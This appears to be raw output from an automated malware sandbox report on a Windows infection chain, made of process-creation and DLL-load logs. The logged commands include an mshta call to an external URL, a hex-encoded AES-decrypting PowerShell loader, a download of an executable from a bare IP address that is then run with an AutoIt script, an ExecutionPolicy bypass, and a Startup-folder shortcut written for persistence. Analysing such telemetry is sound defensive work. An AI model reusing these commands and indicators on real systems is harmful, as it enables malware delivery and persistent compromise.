B4028FE57FCB454DAD571F21C46E58BED7CC67F8F8B3F124E43476CD67F681F52F9E21044F8C5361A690A893FA06D69E2DB01A27F3503C04BE81BB4A323F8EECBA5358DDB14C9EC0469AEE1544FB484B6D1A6724132B29F8451BF425B1B9762AA86E3A6ED9A28760C77FEC629AE93E74262197D8D6B10F23ED27497ECC808D24E7D6E88CEB1D5788785816C5FA9EAB87109E431C7C6442BA4FC96DA32D0841A2C60881B66136D63452D540BE93E778EDEC6BA91D01916A1EEC4EB6A74F22241194EC1EEDC14528EAC307306F8E6CAAAC68402C965A0CE3A683F3BF2B61F6BEBD7EC1347EECF6D52329C0F2D6EE0FDC59AD85C3A7B382EE197C38A04DDE6FEF2EBDF6F21091DD434E3ED41F090C5A4AB1DEA7CC5DF529DC4724F97F443E9F7616218B009BBAE57D41AC9B157FAB29601988A46216F36F8FCDE4CD489509E890AA17820AC29A5F377819EBD437D5F8DA703DC69541B92F3DBA8114F5F49D9915B9C79A2E77BD647E7E439D93AE77D39EF6F453BB');$nVgOVia = [System.Security.Cryptography.Aes]::Create();$nVgOVia.Key = clean('5045706B41635763586C7A575A435A61');$nVgOVia.IV = New-Object byte[] 16;$UoRhOAMrF = $nVgOVia.CreateDecryptor();$gAccxEpxB = [Text.Encoding]::UTF8.GetString($UoRhOAMrF.TransformFinalBlock($JQJjsu, 0,$JQJjsu.Length));
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument C:\Users\user\AppData\Roaming\New_2025.webp
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2292 --field-trial-handle=2104,i,11473878643114958093,389058403593483745,262144 /prefetch:3
Source: unknown	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --flag-switches-begin --flag-switches-end --disable-nacl --do-not-de-elevate --single-argument C:\Users\user\AppData\Roaming\New_2025.webp
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2848 --field-trial-handle=2688,i,17307406999188606845,985520669215378770,262144 /prefetch:3
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Users\user\AppData\Roaming\PefjSkkhb.exe "C:\Users\user\AppData\Roaming\PefjSkkhb.exe"
Source: C:\Users\user\AppData\Roaming\PefjSkkhb.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri "http://139.99.188.124/kiiMf" -OutFile "C:\Users\Public\Guard.exe""
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=6948 --field-trial-handle=2688,i,17307406999188606845,985520669215378770,262144 /prefetch:8
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-GB --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --mojo-platform-channel-handle=6976 --field-trial-handle=2688,i,17307406999188606845,985520669215378770,262144 /prefetch:8
Source: C:\Users\user\AppData\Roaming\PefjSkkhb.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -ExecutionPolicy Bypass -File "C:\Users\Public\PublicProfile.ps1"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Users\Public\Guard.exe "C:\Users\Public\Guard.exe" C:\Users\Public\Secure.au3
Source: C:\Users\Public\Guard.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /k echo [InternetShortcut] > "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SwiftWrite.url" & echo URL="C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.js" >> "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SwiftWrite.url" & exit
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\Windows\System32\wscript.exe "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.js"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif "C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif" "C:\Users\user\AppData\Local\WordGenius Technologies\G"
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-GB --service-sandbox-type=search_indexer --message-loop-type-ui --mojo-platform-channel-handle=7016 --field-trial-handle=2688,i,17307406999188606845,985520669215378770,262144 /prefetch:8
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command "mshta.exe https://tiffany-careers.com/HA_19-12NGHEP_anh"	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\mshta.exe "C:\Windows\system32\mshta.exe" https://tiffany-careers.com/HA_19-12NGHEP_anh	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w 1 -ep Unrestricted -nop function clean ($YUBmqnRj){return -split ($YUBmqnRj -replace '..', '0x$& ')};$JQJjsu = clean('5B4D0AAC74AF94B96DE6D0711E9796AF44D95584C20A8120E5F4C2D55E092A7A2D251DA390909853B5C79690E93A85CB92B9FDEFC65F3CDB1D06CC6879B4516928A8BF4DBB11970D2A2BD075032D2FCA7E0D722AAA3530CE3EB19E65FE575E8A25BED1C1BF5DFFD683FB4BC2EAA8FE8F1A60500155478D87FAC118323C432F5036D59616B9773D97224FA5D5F611314ADE0D4C1D3748EB30F2D127D9E5D8ABFD58BF6DFAB496B4151926B4932EB4E2002C026F0DAD699E3BF4E2AFBA35AC0D2467BE27D487758C9F0E13B99AB91507093DA9B8C8F3FC004623B2AC22915FF6DDA0F2A151FD5C5BC18FFC2D1AD49092E43840545B43C3931B9431F537A4EAF81384FCE89E341CB162F0D74C7C8BBE83A369F44C7C8AD2314CDE87C92213F354F43436DD67669190C7CF80EAB568C8FFE5DF1D7A7289E9AFCC57749726D4170CB358F474A9B394F92F7A7C59B69E1D4F3048A9AF1B1BF6458C6DC0905071FC67BF46B82AB406FD2E0DD0353A56DB42CC22A38391221F97AF42C621E21E76AAD151B423B4198F39A2C8B1B8521C9400861EA34B51E60B32DCF611B5BA64111CB29E6119A047B3C01F8189C05F98FACD727C23B17202459A7730C79C74BF89421B7760627C3EF646B0FA2677D229451827319989785D6B8F597DD83E86CE034F586EC33BFB81CEA7484471E4468F516FD291FF97F14BF7E804A851C2C5526F5C84BE28FADD849079EF0089CEB62A808A2394FFC96A219396786CD01610BE36929BF865E35CD69E6A8E9B2594734C53B954CE005A47ED538E28D7BCE8E8B096462399F500F3B6D157E20DB80631F70368AA3E87F3E6B4A33350E734FE88F2D62FD30B450A5F8061AD2D42D59E00EB1797E197155F3CC5A81E5A28E6FE0A7847C64D970D00EB3212F922E5A69EDCCA6A771B579DA91E8062F135579A2F596F4FB904E51632EC3798751469A06B55F431B3C278D02BA162BAD2051DD8ECEF925C3B148ACC6CF884D595F47ECED7EE54A234964C7AC1C53386EE8ADD5543AAB0A0A455D9BC24791A136E50CBE3C2494A9E1C02E194A3C9AECB489457F71355B11D616C94AD17918390627C6F8D0EBFEC0D4B85391A1F467AEB4171DF3219BB517EB07410A106FF89CCA8023C0CF6C0F5251A8E428413363D25F0B505E17AEC003693E130A590DB8BBE133FFB0BDBC8930DA536699D6DAAC01BB7FD671DBE8DEFF6B4028FE57FCB454DAD571F21C46E58BED7CC67F8F8B3F124E43476CD67F681F52F9E21044F8C5361A690A893FA06D69E2DB01A27F3503C04BE81BB4A323F8EECBA5358DDB14C9EC0469AEE1544FB484B6D1A6724132B29F8451BF425B1B9762AA86E3A6ED9A28760C77FEC629AE93E74262197D8D6B10F23ED27497ECC808D24E7D6E88CEB1D5788785816C5FA9EAB87109E431C7C6442BA4FC96DA32D0841A2C60881B66136D63452D540BE93E778EDEC6BA91D01916A1EEC4EB6A74F22241194EC1EEDC14528EAC307306F8E6CAAAC68402C965A0CE3A683F3BF2B61F6BEBD7EC1347EECF6D52329C0F2D6EE0FDC59AD85C3A7B382EE197C38A04DDE6FEF2EBDF6F21091DD434E3ED41F090C5A4AB1DEA7CC5DF529DC4724F97F443E9F7616218B009BBAE57D41AC9B157FAB29601988A46216F36F8FCDE4CD489509E890AA17820AC29A5F377819EBD437D5F8DA703DC69541B92F3DBA8114F5F49D9915B9C79A2E77BD647E7E439D93AE77D39EF6F453BB');$nVgOVia = [System.Security.Cryptography.Aes]::Create();$nVgOVia.Key = clean('5045706B41635763586C7A575A435A61');$nVgOVia.IV = New-Object byte[] 16;$UoRhOAMrF = $nVgOVia.CreateDecryptor();$gAccxEpxB = [Text.Encoding]::UTF8.GetString($UoRhOAMrF.TransformFinalBlock($JQJjsu, 0,$JQJjsu.Length));	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument C:\Users\user\AppData\Roaming\New_2025.webp	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Users\user\AppData\Roaming\PefjSkkhb.exe "C:\Users\user\AppData\Roaming\PefjSkkhb.exe"	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2292 --field-trial-handle=2104,i,11473878643114958093,389058403593483745,262144 /prefetch:3	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2848 --field-trial-handle=2688,i,17307406999188606845,985520669215378770,262144 /prefetch:3	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=6948 --field-trial-handle=2688,i,17307406999188606845,985520669215378770,262144 /prefetch:8	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-GB --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --mojo-platform-channel-handle=6976 --field-trial-handle=2688,i,17307406999188606845,985520669215378770,262144 /prefetch:8	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-GB --service-sandbox-type=search_indexer --message-loop-type-ui --mojo-platform-channel-handle=7016 --field-trial-handle=2688,i,17307406999188606845,985520669215378770,262144 /prefetch:8	Jump to behavior
Source: C:\Users\user\AppData\Roaming\PefjSkkhb.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri "http://139.99.188.124/kiiMf" -OutFile "C:\Users\Public\Guard.exe""
Source: C:\Users\user\AppData\Roaming\PefjSkkhb.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -ExecutionPolicy Bypass -File "C:\Users\Public\PublicProfile.ps1"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Users\Public\Guard.exe "C:\Users\Public\Guard.exe" C:\Users\Public\Secure.au3
Source: C:\Users\Public\Guard.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /k echo [InternetShortcut] > "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SwiftWrite.url" & echo URL="C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.js" >> "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SwiftWrite.url" & exit
Source: C:\Windows\System32\wscript.exe	Process created: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif "C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif" "C:\Users\user\AppData\Local\WordGenius Technologies\G"

Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: framedynos.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: msxml6.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: vcruntime140_1.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: mshtml.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: msiso.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: srpapi.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: ieframe.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: msimtf.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: dxgi.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: dataexchange.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: d3d11.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: dcomp.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: dpapi.dll	Jump to behavior
